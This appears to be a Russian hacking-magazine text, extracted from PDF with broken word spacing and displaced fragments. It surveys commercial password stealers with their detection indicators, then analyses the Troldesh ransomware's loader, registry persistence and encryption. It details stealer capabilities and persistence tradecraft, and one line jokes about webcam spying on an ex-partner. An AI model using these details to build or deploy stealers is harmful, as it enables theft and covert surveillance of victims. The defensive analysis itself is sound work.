.NET 2.0, тас кал с собой биб лиотеч ку sqlite3.dll и дро пал на диск нуж ный файл
этой либы в соот ветс твии с раз рядностью вин ды. Укра ден ные пароли он сох‐ 
ранял  в  тек сто вый  файл  с  HTML‐раз меткой  пря мо  на  заражен ной  машине,
а затем заливал его на сер вер.

Вто рая вер сия отли чалась от пер вой отсутс тви ем зависи мос тей, бла года‐ 
ря  чему  теоре тичес ки  мог ла  работать  на  чис той  сис теме.  Кро ме  того,  она
научи лась тырить инфу из Firefox, чего пер вая модифи кация N0F1L3 так и не
оси лила. Сти лер  собирал  из  бра узе ров  куки,  дан ные  авто запол нения форм
и пароли, копиро вал с рабоче го сто ла фай лы с рас ширени ями .doc, .docx, .txt
и  .log. Из популяр ного FTP‐кли ента FileZilla он уго нял фай лы 

  и  .  Так же  трой  пытал ся
украсть крип токошель ки BTC, BCN, DSH, ETH, LTC, XMR, ZEC, пос ле чего рас‐ 
пихивал все это богатс тво по локаль ным пап кам и выг ружал на управля ющий
сер вак в виде архи ва.

filezilla_re‐
centservers.xml filezilla_sitemanager.xml

Ад минка N0F1L3

N0F1L3  обо рудо ван  написан ной  на  PHP  админкой,  в  которой  мож но  пос‐ 
мотреть  ста тис тику  тро яна  и  его  логи.  Автор  не  прос то  про давал  сти лер,
а еще и пред лагал ано ниму сам дру гие свя зан ные с ним ком мерчес кие услу ги:
обновле ния,  добав ление  под дер жки  дру гих  бра узе ров  и  решение  все воз‐ 
можных  тех ничес ких  проб лем.  Неуди витель но,  что  вско ре  доб рожела тели
ста ли  активно  переп родавать N0F1L3  на мно жес тве  популяр ных  и  не  очень
пло щадок, а пос ле того, как у авто ра начались проб лемы с законом, сти лер
и вов се выложи ли в паб лик. Исходни ки и бил ды это го тро яна раз личной сте‐ 
пени све жес ти мож но отыс кать на темати чес ких бор дах и сегод ня.

Ме тоды обна руже ния
Все  вер сии  N0F1L3  и  его  мно гочис ленные  модифи кации  отлично  палят ся
анти виру сами,  но,  если  ты,  юзер нейм,  прин ципи аль но  не  поль зуешь ся
таковы ми, выявить при сутс твие сти лера в сис теме сов сем не слож но. Более
ран няя модифи кация троя сох раня ет укра ден ное в фай лик 

, его наличие точ но ука жет тебе на факт зараже ния. N0F1L3v2 соз дает
в   пап ки с говоря щими име нами  ,  ,   и 
,  в  пер вой  обыч но  лежат  фай лы  с  вытащен ной  из  бра узе ров  инфой  —

,  ,    и  .  Пря тать ся  в  сис теме
N0F1L3 не уме ет, так что спа лить его — дело тех ники.

%LOCALAPPDATA%\
f.txt
%TEMP% Browsers Wallets Files Directo‐

ry
Passwords.txt Cookie.txt CC.txt Autofill.txt

KRATOS
Еще  один  «сти лак‐фор те»  того  же  самого  авто ра,  наз ванный  не  то  в  честь
титана из гре чес кой мифоло гии, не то в честь героя игрушки God of War, что
более веро ятно. Трой был прак тичес ки пол ностью перепи сан на С++, прав да
зна читель ная часть фун кций в его коде начина ется с анти отла доч ной встав ки
на  ассем бле ре,  про веря ющей  сос тояние  поля    в  струк туре
PEB. Эта струк тура соз дает ся в памяти про цес са при его запус ке и содер жит
информа цию об окру жении, заг ружен ных модулях, а так же про чие полез ные
дан ные. По сме щению   в этой струк туре находит ся флаг,
поз воля ющий  опре делить,  что  про цесс  тро яна  запущен  под  дебаг гером,
и завер шить его.

BeingDebugged

byte ptr [rax+2]

Сам такой

В допол нение к уже реали зован ным у его пред шес твен ников фун кци ям Kratos
уме ет  делать  скрин шоты  (кар тинка  сох раня ется  в    под  име нем

) и копиро вать фай лы из пап ки кли ента Telegram 
.  Кро ме  это го,  сти лер  обра щает ся  к  реес тру

в  поис ках  вет ви  .  Обна ружив  ее,  по  содер‐ 
жимому  клю ча    он  опре деля ет  мес то  уста нов ки  кли ента  Steam,
а  затем  тырит  отту да  фай лы  , 
и  .  Все  укра ден ное  Kratos  упа ковы вает  в  архив
и шлет на управля ющий сер вер POST‐зап росом.

%TEMP%
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Ад минка Kratos

Kratos исполь зует админку,  в целом ана логич ную N0F1L3  (раз ве что дефол‐ 
тная  фоновая  кар тинка  не  такая  няш ная).  Сам  раз работ чик  про давал  свое
тво рение  за  5000  руб лей,  но  на  всем  извес тных  пло щад ках  быс тро  отыс‐ 
кались ано ниму сы,  готовые  усту пить бил ды за 1500 и даже чуть дешев ле —
за  лайк,  сим пу,  отзыв  или  плю сик  в  репу.  А  пос ле  деано на  авто ра  и  пос‐ 
ледовав ших за этим печаль ных событий сти лер появил ся в паб лике и вов се
бес плат но.  В  резуль тате  Kratos  рас пол зся  по  этим  вашим  интерне там,
как  тарака ны  по  сту ден ческой  обща ге,  пери оди чес ки  вылезая  из  укромных
щелей то там, то тут. Дуст ока зал ся неэф фекти вен, такое мож но выжечь толь‐ 
ко напал мом.

Ме тоды обна руже ния
Ан тивиру сы  вычис ляют  это го  тро яна  на  раз‐два.  Опре делить  при сутс твие
«Кра тоса» в сис теме мож но по наличию в   тех же самых папок, что и у
N0F1L3, раз ве что к ним добави лись дирек тории   и   с впол не
оче вид ным содер жимым.

%TEMP%
Telegram Steam

AZORULT
Так называ ется широко извес тный в узких кру гах ком мерчес кий сти лер, обла‐ 
дающий впе чат ляющим набором фун кци ональ ных воз можнос тей. Трой уме ет
красть сох ранен ные пароли, дан ные форм и кукисы из 33 раз личных бра узе‐ 
ров, наз вания доб рой полови ны которых я впер вые уви дел в рек ламном опи‐ 
сании  это го  самого  сти лера.  В  админке  тро яна  име ется  спе циаль ный  кон‐ 
вертер, поз воля ющий прос матри вать содер жимое фай лов cookies в фор мате
JSON.

Ад минка AZORult

AZORult может вытас кивать пароли из поч товых кли ентов Outlook и Thunder‐
bird,  FTP‐кли ентов FileZilla и WinSCP,  IM‐кли ентов Pidgin и Psi/Psi+. Из Skype
он спо собен ско пиро вать перепис ку, из Telegram — иден тифика торы сес сий,
из  кли ента  Steam  —  фай лы    и  .  Спи сок  крип товалют,  кошель ки
которых  в  сос тоянии  украсть  AZORult,  весь ма  вну шите лен:  он  нас читыва‐ 
ет 38 наиме нова ний (при мер но полови на из которых лич но мне тоже ни о чем
не говорит, лол).

ssfn vdf

Сре ди  воз можнос тей  сти лера  не  толь ко  баналь нос ти  вро де  соз дания
скрин шотов  —  он  еще  зна ет,  как  искать  на  заражен ной  машине  фай лы
по  име ни,  раз меру  или  мас ке  с  рекур сивным  обхо дом  вло жен ных  дирек‐ 
торий, в сос тоянии собирать информа цию о прог рам мном окру жении и аппа‐ 
рат ной кон фигура ции (вклю чая геоло кацию, спи сок уста нов ленных при ложе‐ 
ний и работа ющих про цес сов), а так же ска чивать и запус кать с управля юще го
сер вера  задан ный  файл.  Трой  име ет  фун кцию  авто мати чес кого  само уда‐ 
ления  пос ле  отправ ки  отче та,  если  она  вклю чена  в  админке,  и  спо собен
работать  с  сер верами,  если они исполь зуют  .bit‐домен. Исполня емый файл
в нес жатом виде занима ет поряд ка 110 Кбайт, а под упа ков щиком лег ко сок‐ 
раща ется до 40. Такой вот ком байн по цене 100 дол ларов.

Так про дают AZORult

В  минув шем  октябре  автор  выкатил  обновле ние  тро яна,  поз воля ющее  упа‐ 
ковы вать  сти лер  в  документ  Word  или  Excel,  при  попыт ке  открыть  который
про исхо дит зараже ние. А в начале уже это го года   рас‐ 
простра нения  сти лера  под  видом  ути литы Google Update,  под писан ной,  что
харак терно, валид ным сер тифика том.

фик сирова лись слу чаи

Ме тоды обна руже ния
Под капотом у AZORult мож но обна ружить мно го инте рес ного. Имя управля‐ 
юще го  сер вера  хра нит ся  в  теле  сти лера  в  зашиф рован ном  виде,  для шиф‐ 
рования исполь зует ся Base64 с про изволь ным сло варем и RC4, ключ которо‐ 
го автор так же захар дко дил. Для соеди нения с сер вером AZORult исполь зует
сокеты, при этом отправ ляемые на сер вак дан ные и получа емые отве ты пок‐ 
сорены.  Архи тек турно  сти лер  сос тоит  из  нес коль ких  фун кци ональ ных
модулей, которые вклю чают ся сог ласно получен ному из админки кон фигу.

Пос коль ку  на  прос торах  интерне та  широко  рас простра нены  бил деры
для AZORult, да и перепа ковы вают его с завид ной регуляр ностью, анти виру сы
палят  далеко  не  все  его  образцы.  Одна ко  у  тро яна  есть  один  харак терный
приз нак: ска чан ные и необ ходимые для работы биб лиоте ки он хра нит в пап ке

,  факт  соз дания  которой  мож но  счи тать  одним  из  вер ных
приз наков зараже ния.
%appdata%\1Mo\

EREDEL
Ком мерчес кий  сти лер  на  С#,  обла дающий  впол не  стан дар тным  набором
фун кций:  кра жа  кукисов и паролей из Chromium‐based бра узе ров, соз дание
скрин шотов, копиро вание фай лов из папок FileZilla и Telegram, а так же изоб‐ 
ражений, архи вов и докумен тов, которые юзер по неос мотри тель нос ти забыл
на рабочем сто ле. Управле ние — из тра дици онной веб‐админки.

Ад минка Eredel

Из  инте рес ных  осо бен ностей  Eredel  сто ит  отме тить  раз ве  что  наличие  спе‐ 
циаль ного Telegram‐бота, c помощью которо го мож но нас тро ить троя. Сти лер
про дает ся на раз ных пло щад ках по цене 2500 руб лей.

Ме тоды обна руже ния
Из‐за не слиш ком регуляр ной «чис тки» Eredel отлично детек тиру ется наибо‐ 
лее  популяр ными  анти виру сами,  поэто му  замора чивать ся  с  его  «руч ной»
поим кой не всег да раци ональ но. Сти лер соз дает  в    пап ку  с  име нем,
пред став ляющим собой шес тнад цатерич ную пос ледова тель ность (нап ример,

),  в  которой  сох раня ется  файл 
  со  скрин шотом,  а  так же  раз меща ются  пап ки  с  харак терны ми

име нами    и  .  Если  эти  приз наки  зараже ния  при сутс тву ют,
мож но прис тупать к выкор чевыва нию злов реда, и начать луч ше все го с уда‐ 
ления содер жимого вре мен ных дирек торий.
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KPOT
Не боль шой  нерези ден тный  трой,  раз мер  бинар ника  которо го  в  нес жатом
виде  сос тавля ет  чуть  мень ше  90  Кбайт.  Написан  на  С/С++  с  анти отла доч‐ 
ными  встав ками  на  ассем бле ре,  чем опре делен но  напоми нает Kratos.  Трой
уме ет делать скрин шоты, вору ет кукисы, пароли и сох ранен ные дан ные авто‐ 
запол нения форм из Chromium‐based и Mozilla‐based бра узе ров, из MSIE 6–
11 вытас кива ет толь ко хра нимые дан ные авто риза ции. При этом у «Мозил лы»
с  помощью  TinySQL  сти лер  пар сит  фай лы    и  ,
добывая пароли отту да.

key3.db signons.sqlite

Kpot уме ет воровать крип токошель ки Bitcoin, Namecoin, Monero, Electrum,
Ethereum  и  Bytecoin,  учет ки  из  мес сен дже ров  Psi,  Psi+  и  Pidgin,  перепис ку
из Skype, фай лы сес сий из Telegram, голосо вого мес сен дже ра Discord и кли‐ 
ента Battle.Net, фай лы  ,   и   из Steam, а так же
логины  и  пароли  для  соеди нения  по  FTP  из  FileZilla,  WinSCP,  wsFtp  и  Total
Commander.

ssfn config.vdf loginusers.vdf

Од на из воз можнос тей тро яна — уме ние искать фай лы по име ни, раз меру
и мас ке, при чем не  толь ко на локаль ных, но и на сетевых дис ках — прав да,
в извес тной мне вер сии отдать ему такую коман ду из админки не пред став‐ 
лялось  воз можным.  Все,  что  нажито  непосиль ным  тру дом,  сти лер  упа ковы‐ 
вает в .cab‐архив и залива ет на управля ющий сер вер.

Раз работ чик  пре дус мотрел  воз можность  заг рузки  и  запус ка  с  исполь‐ 
зовани ем  loadpe исполня емо го фай ла, ссыл ка на  который ука зана в панели
управле ния.  В  32‐раз рядных  вер сиях Windows  бинар ник  запус кает ся  в  кон‐ 
тек сте про цес са, из которо го он был выз ван, а в 64‐раз рядных трой запус кает
коман дную стро ку и инжектит при ложе ние в про цесс cmd.exe.

Пос ле запус ка сти лер отсы лает на управля ющий сер вер инфу о заражен‐ 
ном компь юте ре: вер сию опе раци онной сис темы, дан ные об экранном раз‐ 
решении, количес тве ядер и типе про цес сора, объ еме опе ратив ной памяти,
локаль ном  вре мени  и  часовом  поясе,  а  так же  сооб щает  IP‐адрес  сетево го
интерфей са. Управля ют тро яном с исполь зовани ем веб‐панели.

Ад минка Kpot

Це на  бил да  сти лера  на  темати чес ких  бор дах  сос тавля ет  65  дол ларов,
при этом трой не работа ет на тер ритории СНГ: судя по все му, автор полага‐ 
ет, что прин цип «нет пос тра дав ших — нет заяв лений» защитит и его самого,
и поль зовате лей этой соф тины от прес ледова ния со сто роны пра воох раните‐ 
лей. Одна ко, как показы вает прак тика (хотя бы тот же слу чай с раз работ чиком
Kratos), это совер шенно не работа ет.

Ме тоды обна руже ния
Во вре мя работы трой соз дает в пап ке   кучу фай лов с име нами, сос‐ 
тоящи ми из десяти цифр, а впос ледс твии уда ляет их. Выловить его вруч ную,
если  троя  не  пой мал  анти вирус,  доволь но  слож но,  одна ко  работу  сти лера
мож но уви деть с помощью ана лиза тора тра фика по обще нию с управля ющим
сер вером.  В  одном  из  наибо лее  рас простра нен ных  сем плов  C&C  рас‐ 
полагал ся по адре су  .

%TEMP%
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ARKEI
Arkei —  это  один  из  самых  рас простра нен ных  на  рын ке  ком мерчес ких  сти‐ 
леров.  Исполня емый  файл  занима ет  все го  лишь  96  Кбайт,  при  этом  тро ян
реали зует впол не стан дар тный для подоб ного соф та набор фун кций. Сре ди
них — отправ ка на управля ющий сер вер све дений об аппа рат ном и прог рам‐ 
мном  окру жении,  копиро вание  фай лов  с  рабоче го  сто ла,  соз дание  скрин‐ 
шота, сбор сох ранен ных форм, логинов‐паролей, исто рии и cookies из бра‐ 
узе ров (в спис ке под держи ваемых вер сий зна чит ся шес тнад цать штук), кра жа
кошель ков Bitcoin и Ethereum, дан ных из FTP‐менед жера FileZilla, а так же ска‐ 
чива ние  и  запуск  на  заражен ной  машине  про изволь ного  фай ла,  который
по коман де из админки трой может про писать в авто заг рузку, модифи циро‐ 
вав реестр.

Объ явле ние о про даже Arkei

Для управле ния сти лером в ком плек те пос тавки пре дус мотре на веб‐админка,
а роз ничная цена тро яна сос тавля ла 3000 руб лей. С фев раля 2019 года Arkei
вро де  бы  перес тал  обновлять ся,  одна ко  про ект,  нас коль ко  мне  извес тно,
про дол жает жить в ипос таси при ват ного сти лера.

Ме тоды обна руже ния
Как и дру гие подоб ные тро яны, Arkei копиру ет исполня емый файл в пап ку 

  текуще го юзе ра, от име ни учет ки которо го он запущен.
Наг раблен ное он сох раня ет в пап ке  , соз дав там дирек торию
с име нем, содер жащим пос ледова тель ность из четыр надца ти сим волов, а в
ней — вло жен ную пап ку  . Там раз меща ются тек сто вые фай лы с сох‐ 
ранен ными  пароля ми,  исто рией  бра узе ра,  кукиса ми  и  про чими  дан ными.
Трой неп лохо детек тиру ется основным анти виру сами, мно гими — по упа ков‐ 
щику.

Lo‐
cal Settings\Temp

%PROGRAMDATA%
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PONY
Этот сти лер не поль зует ся столь же высокой популяр ностью у мал варщи ков,
как его кон курен ты, хотя на днях пра воох ранитель ными орга нами 

 зло дей, про мыш лявший соз дани ем адми нок в том чис ле и для это го тро‐ 
яна.

был задер‐ 
жан

Ис ходни ки  Pony  при  опре делен ном  желании  мож но  отыс кать  на  GitHub.
Трой уме ет воровать информа цию из бра узе ров, соз данных на базе Chromi‐
um и Mozilla, кучи FTP‐кли ентов (в спис ке нас читыва ется нес коль ко десят ков)
и поч товых  кли ентов PocoMail,  IncrediMail,  The Bat!, Outlook, Mozilla  Thunder‐
bird.  Так же  он  может  тырить  кошель ки  наибо лее  рас простра нен ных  крип‐ 
товалют. В общем, стан дар тный набор, никаких неожи дан ностей.

Ме тоды обна руже ния
Не высо кий спрос на  «понь ку» обус ловлен,  веро ятно,  в  том чис ле и  тем,  что
сти лер дос тупен в паб лике, а зна чит, при ват ности в нем ноль целых и при мер‐ 
но столь ко же десятых.

Де тек ты Pony

Ан тивиру сы  тро яна  зна ют,  ценят  и  любят.  Одна ко  дос тупность  исходни ков
откры вает перед понима ющи ми людь ми широкий прос тор для твор чес тва.

PREDATOR THE THIEF
Сти лер  со  столь  пом пезным  наз вани ем  весит  при мер но  430  Кбайт,
на интернет‐базарах его мож но купить за 2000 руб лей. В ком плект пос тавки
вхо дит  билд  тро яна,  админка,  ману ал  по  его  нас трой ке

.
,  гаран тий ный  талон

и науш ники

Объ явле ние о про даже Predator The Thief

Вдо бавок к стан дар тным фун кци ям (соз дание скрин шотов, похище ние форм,
паролей  и  исто рии  из  бра узе ров,  сбор фай лов  с  рабоче го  сто ла  и  из  FTP‐
кли ентов, а так же получе ние сес сий из Telegram)   Predator уме ет сох‐ 
ранять сни мок со встро енной веб‐камеры заражен ного девай са, что быва ет
очень акту аль но, если тебе вдруг при дет в голову понаб людать за сво ей быв‐ 
шей. Дан ная фун кция, пожалуй, единс твен ная инте рес ная чер та этой замеча‐ 
тель ной соф тины.

Perdator

Ме тоды обна руже ния
Мо дифи каций  это го  сти лера  в  «дикой  при роде»  гуля ет  мно жес тво,  с  боль‐ 
шинс твом  из  них  прек расно  зна комы  все  сов ремен ные  анти виру сы.
При запус ке трой соз дает в пап ке 

 файл  с  име нем,  сос тоящим из длин ной шес тнад цатерич‐ 
ной  сим воль ной  пос ледова тель нос ти,  и  запус кает  его  с  исполь зовани ем

. Наг раблен ное он хра нит в пап ке  .

C:\Documents and Settings\<USER>\Ap‐
plication Data\

schtasks.exe %APPDATA%\roaming\ptst\

ВМЕСТО ПОСЛЕСЛОВИЯ
Пе реф разируя  клас сика,  мож но  ска зать,  что  все  ком мерчес кие  сти леры
похожи  друг  на  дру га,  но  каж дый  работа ет  по‐сво ему.  Ассорти мент  таких
прог рамм очень широк, поэто му люди, про мыш ляющие компь ютер ным шпи‐ 
она жем, всег да смо гут най ти что‐то себе по вку су. Важ но лишь не забывать
о том, что раз работ ка, рас простра нение и исполь зование мал вари — это уго‐ 
лов ное прес тупле ние,  за  которое дей ству ющим законо датель ством пре дус‐ 
мотре на суровая ответс твен ность. Некото рые вспо мина ют об этом лишь тог‐ 
да, ког да ста новит ся уже слиш ком поз дно.

mailto:schelma@protonmail.com
https://benkowlab.blogspot.com/2018/04/sorry-not-sorry-1ms0rry-atsamaz-gatsoev.html
https://xakep.ru/2019/01/30/google-update-azorult/
https://xakep.ru/2019/03/14/botnet-operator-arrested/
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ВЗЛОМ

В самом начале мар та ком пания Group‐IB   об оче‐ 
ред ной  мас сирован ной  ата ке  с  исполь зовани ем  тро‐ 
яна‐шиф роваль щика  Troldesh.  Энко дер  рас простра нял ся
с  помощью  сооб щений  элек трон ной  поч ты,  отправ ленных
от  име ни  извес тных  на  рос сий ском  рын ке  ком паний.
Новость быс тро под хва тили мно гочис ленные СМИ, мы тоже
о  ней  .  Одна ко  под робнос тей  было  мало.  Что  же
пред став ляет  собой  Troldesh,  как  он  дей ству ет  и  какие
методы борь бы с этой напастью наибо лее эффектив ны?

со общи ла

пи сали

ПОЧТОВАЯ РАССЫЛКА
Те атр,  как извес тно,  начина ется с дли тель ного поис ка сво бод ной пар ковки,
а рас простра нение боль шинс тва вре донос ных прог рамм — с поч товой рас‐ 
сылки.  Сре ди  фей ковых  отпра вите лей  подоб ных  писем  иссле дова тели
из  Group‐IB  отме чали  «Все рос сий ский  банк  раз вития  реги онов»  и  «Груп пу
ком паний ПИК», а жур налис ты РБК   спи сок пос тра дав ших брен дов
«Аша ном»,  «Маг нитом»  и  «Слав нефтью»,  упо мянув  при  этом,  что  зло умыш‐ 
ленни ки  прик рывались  име нами  более  пятиде сяти фирм,  наз вания  которых
у  всех  на  слу ху.  Лич но мне  попада лись  ана логич ные  пись ма,  в  стро ке  From
которых  зна чил ся  авто мобиль ный  дилер  «Рольф»,  «Бин банк»,  «KIA  Motors»,
«Ресо Гаран тия» и некая кон тора «Инже нер Строй».

по пол нили

Оче вид но,  такая  стра тегия  про дик тована  обще извес тны ми  пос тулата ми
соци аль ной  инже нерии:  у  сооб щения  от  извес тно го  отпра вите ля  боль ше
шан сов быть откры тым, чем у пос лания, автор которо го адре сату совер шенно
нез наком.

О чем не рас ска зано в выше упо мяну тых замет ках, так это о том, что ссыл‐ 
ка, яко бы ведущая на офи циаль ный сер вер ком пании‐отпра вите ля, на самом
деле нап равля ет потен циаль ную жер тву совер шенно в дру гое мес то. Во всех
без  исклю чения  изу чен ных  мной  пись мах  это  были  взло ман ные  сай ты,
работа ющие под управле нием WordPress или Joomla.

Пись ма, рас сылав шиеся в ходе ата ки Troldesh

И  скрипт‐заг рузчик,  и  собс твен но  энко дер  зло деи  хра нили  в  откры тых
на запись пап ках  ,  , 

  или  .  Веро ятно,  что бы  раз мещать
вре донос ное содер жимое, они при обре ли на каком‐то из хакер ских форумов
базу  ском про мети рован ных  акка унтов  либо  вос поль зовались  одним
из извес тных экс пло итов для этих популяр ных CMS.

<site>/content/icons/ <site>/templates/ <site>/wp‐
admin/css/ <site>/wp‐content/themes/

При том  из  десяти  про ана лизи рован ных  мной  фишин говых  сооб щений
толь ко  в  двух  содер жалась  ссыл ка  на  сай ты  под  управле нием  Joomla,
а  осталь ные  восемь  прот роянен ных  пло щадок  работа ли  на WordPress.  Есть
повод  задумать ся  о  безопас ности  это го  движ ка,  тем  более  опас ная  тен‐ 
денция  под твержда ется  опуб ликован ным  недав но  ,  сог ласно
которо му  поряд ка  90%  взло ман ных  в  течение  2018  года  сай тов  работа ли
имен но на WordPress.

от четом  Sucuri

При  нажатии  на  линк  с  уда лен ного  хос та  ска чивал ся  ZIP‐архив,  внут ри
которо го  хра нил ся  скрипт‐заг рузчик,  написан ный  на  JScript.  Что бы  скрипт
выпол нился,  поль зователь  дол жен  самос тоятель но  извлечь  из  архи ва
и попытать ся открыть этот файл.

ЗАГРУЗЧИК
Заг рузчик  пред став ляет  собой  обфусци рован ный  и  зашиф рован ный  файл
JSE  раз мером  5,7  Кбайт.  В  слу чае  с  сооб щени ем,  отправ ленным  яко бы
от  име ни  ком пании  «Рольф»,  скрипт  имел  имя 

, при этом зло деи даже не попыта лись под менить стан дар‐ 
тный  зна чок  сце нария,  что  опыт ного  юзе ра  дол жно  хотя  бы  нем ного  нас‐ 
торожить.

Группа  компаний  Рольф 
подробности.jse

Зло деи даже не попыта лись под менить стан дар тный зна чок

ESET  детек тиру ет  этот  скрипт  как  ,
Dr.Web  —  как  ,  «Анти вирус  Кас пер ско го»  ловит  его
эвристи кой с вер диктом  .

JS/TrojanDownloader.Nemucod.EEG
JS.DownLoader.4862

HEUR:Trojan‐Downloader.Script.Generic

Скрипт‐заг рузчик детек тиру ется так

Прин цип дей ствия заг рузчи ка в целом стан дартен для подоб ных вре доно сов:
об  очень  похожем  сце нарии  «Хакер»  недав но  уже    в  одной
из ста тей.

рас ска зывал

Для выпол нения кода на язы ке JScript в Windows исполь зует ся при ложе ние
wscript.exe, име нуемое Windows Script Host. Запус тившись с помощью это го
при ложе ния, сце нарий рас шифро выва ет стро ки, в которых хра нит ся URL сай‐ 
та с полез ной наг рузкой, ска чива ет файл шиф роваль щика в   и запус‐ 
кает  его  в  скры том  окне.  В  качес тве  «дем бель ско го  аккорда»  заг рузчик
откры вает  свер нутое  окош ко  cmd  и  отправ ляет  туда  коман ду  на  само уда‐ 
ление.

%TEMP%

ШИФРОВАЛЬЩИК
Ис сле дова тели из Group‐IB в сво ей пуб ликации сооб щили, что Troldesh име ет
«твор ческие псев донимы»: Shade, XTBL и Trojan.Encoder.858. ESET детек тиру‐ 
ет  его  под  име нем  Win32/Kryptik,  «Анти вирус  Кас пер ско го»  —  как  Trojan‐
Ransom.Win32.Shade.psq.

Что нам извес тно об этом энко дере? Пер вые слу чаи зараже ния Trojan.En‐
coder.858  датиру ются  еще  2015  годом,  при  этом  вре донос,  ско рее  все го,
явля ется  потом ком  дру гого  шиф роваль щика  —  Trojan.Encoder.686,  рас‐ 
простра нение  которо го  началось  на  год  рань ше,  в  июле  2014‐го.  686‐я
модифи кация, наз ванная его соз дателя ми CTB‐Locker, успешно про дава лась
на  одном  из  хакер ских  форумов.  Трой  активно  исполь зует  воз можнос ти
OpenSSL и эллипти чес кую крип тогра фию, а для генера ции слу чай ных дан ных
при меня ет CryptoAPI. Зашиф рован ные фай лы получа ли рас ширение  ..ctbl

Файл шиф роваль щика, о котором идет речь в пуб ликации Group‐IB, име ет
раз мер 1,05 Mбайт. Внут ри  хра нит ся биб лиоте ка для работы с Tor. Энко дер
упа кован  с  исполь зовани ем  написан ного  на  .NET  кас томно го  пакера,
под которым находит ся бинар ник, сжа тый UPX. Кро ме того, стро ки в  тро яне
зашиф рованы с исполь зовани ем сим метрич ного алго рит ма AES.

Пос ле  запус ка  и  ини циали зации  шиф роваль щик  соз дает  свою  копию
в  пап ке    под  име нем

. Затем он регис три рует ся в авто заг рузке. Он ищет вет ку реес тра
%ALLUSERSPROFILE%\application  data\windows\

csrss.exe

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\]

и записы вает в нее зна чение

'Client Server Runtime Subsystem' = '"%ALLUSERSPROFILE%\Application 
Data\Windows\csrss.exe"'

На  сле дующем  эта пе  энко дер  собира ет  информа цию  об  инфи циро ван ной
машине,  а  имен но  опре деля ет  вер сию  опе раци онной  сис темы,  серий ный
номер  дис кового  раз дела,  из  которо го  запущен  исполня емый  файл,  имя
компь юте ра и тип уста нов ленно го на нем про цес сора. На осно ве этих дан ных
фор миру ется  уни каль ный  для  каж дой  инфи циро ван ной  машины  ключ.  Этот
ключ сох раня ется в вет ви реес тра

[<HKLM|HKCU>\SOFTWARE\System32\Configuration\]

в парамет ре  . Туда же записы вает ся вер сия вре донос ной прог раммы.i
За тем тро ян ини циали зиру ет Tor‐кли ент и пыта ется соеди нить ся с одним

из бридж‐реле ев  (bridge  relay),  адрес  которо го в  зашиф рован ном виде  хра‐ 
нит ся  в  его  теле.  По  это му  адре су  шиф роваль щик  отправ ляет  зап рос
на  регис тра цию,  содер жащий  его  ID,  а  в  ответ  получа ет  дан ные,  необ‐ 
ходимые  для  шиф рования  фай лов  на  заражен ной  машине.  В  том  чис ле —
ключ RSA дли ной 2048 бит и его MD5‐хеш для про вер ки.

Фай лы на всех локаль ных и под клю чен ных к машине сетевых дис ках шиф‐ 
руют ся  с  исполь зовани ем  алго рит ма  AES  (Advanced  Encryption  Standard)
в режиме CBC (Cipher Block Chaining), при этом для каж дого фай ла соз дает ся
отдель ный  ключ при помощи  генера тора псев дослу чай ных  чисел. Этот  ключ
шиф рует ся получен ным через Tor клю чом RSA и сох раня ется в зашиф рован‐ 
ном фай ле.  Для фай лов,  име ющих  атри бут  Read Only,  перед шиф ровани ем
ука зан ный атри бут сбра сыва ется. На про щание тро ян уда ляет все точ ки вос‐ 
ста нов ления сис темы.

Ка залось  бы,  угро за  дав но  извес тная  и  хорошо  изу чен ная,  раз  уж  рас‐ 
простра няет ся она как минимум четыре года, толь ко вот есть одна заг воз дка.
Trojan.Encoder.858,  о  котором  говорят  авто ры  пуб ликации  Group‐IB,  прис‐ 
ваивает  зашиф рован ным фай лам  рас ширение  ,  а  тро ян,  заража ющий
компь юте ры  в  ходе  рас смат рива емой  нами  ата ки,  исполь зует  дру гое  рас‐ 
ширение —  .

.xtbl

.crypted000007
Вы вод: иссле дова тели ошиб лись. Это не Trojan.Encoder.858.

ТАК ЧТО ЖЕ ЭТО?
На самом деле речь, ско рее все го, идет о более све жей модифи кации 858‐
го,  которая  в  номен кла туре  Dr.Web  носит  гор дое  наиме нова ние  Trojan.En‐
coder.10507. Прав да, сам «Док тор» обыч но детек тиру ет это го тро яна по упа‐ 
ков щику как Trojan.Packed2.41563, что, в общем‐то, неп ринци пиаль но.

Так на VT детек тиру ется энко дер

Эта  модифи кация  энко дера  датиру ется  2017  годом  и  поч ти  не  отли чает ся
от сво его пред шес твен ника, но кое‐какие новов ведения все же име ются.

В теле вре доно са хра нит ся 100 пуб личных клю чей RSA дли ной 3072 бита
каж дый. Перед началом шиф рования энко дер слу чай ным обра зом выбира ет
один из  них,  номер это го  клю ча  сох раня ется  в  тек сто вом фай ле  с  тре бова‐ 
ниями  вымога телей.  Каж дый  файл  шиф рует ся  с  отдель ным  клю чом  дли‐ 
ной 256 бит, его имя — дру гим клю чом такой же дли ны, пос ле чего оба сес‐ 
сион ных  клю ча  шиф руют ся  ранее  выб ранным  пуб личным  клю чом  RSA,
а  резуль тат  дописы вает ся  в  конец  зашиф рован ного фай ла.  По  завер шении
шиф рования трой соз дает на дис ке тек сто вые фай лы README с поряд ковым
номером от 1 до 10 сле дующе го содер жания.

Та кие тек сто вые фай лы соз дает Troldesh

За тем вре донос меня ет обои рабоче го сто ла Windows, и жер тва вирусо писа‐ 
телей наб люда ет сле дующую жиз нерадос тную кар тину.

Ве селень кие обои рабоче го сто ла

Все,  тушите  свет,  сушите  вес ла.  Фай лы  зашиф рованы.  Помимо  про чего,
в про цес се сво ей работы тро ян пыта ется про читать фай лы 

  и  ,
веро ятно наде ясь получить дос туп к паролям и нас трой кам поч тового кли ента
поль зовате ля, что бы обес печить свое даль нейшее рас простра нение.

%APPDATA%\thun‐
derbird\profiles.ini %APPDATA%\mozilla\firefox\profiles.ini

ПРОФИЛАКТИКА
Ес ли  повезет,  часть  зашиф рован ных  вре доно сом  дан ных  удас тся  спас ти
с  помощью  ути лит  вос ста нов ления  уда лен ных  фай лов.  Что‐то  может  сох‐ 
ранить ся в теневых копи ях Windows. Но я не устаю пов торять сно ва и сно ва:
про филак тика  все воз можных  инфекций  полез на  не  толь ко  в  медицин ской
прак тике, но и в IT.

Са мый  дей ствен ный  метод  борь бы  с  энко дера ми  —  сво евре мен ное
резер вное  копиро вание  всех  акту аль ных  фай лов,  при чем  желатель но  —
на внеш ний носитель. Если сам позабо тишь ся о сох раннос ти информа ции, то
шиф роваль щики будут не страш ны.

mailto:valentin@holmogorov.ru
https://zen.yandex.ru/media/id/5c518ae3ddbff500b12e83d2/shifruet-i-mainit--novye-ataki-troiana-troldesh-5c7a150167c02400b5de21d9
https://xakep.ru/2019/03/04/troldesh/
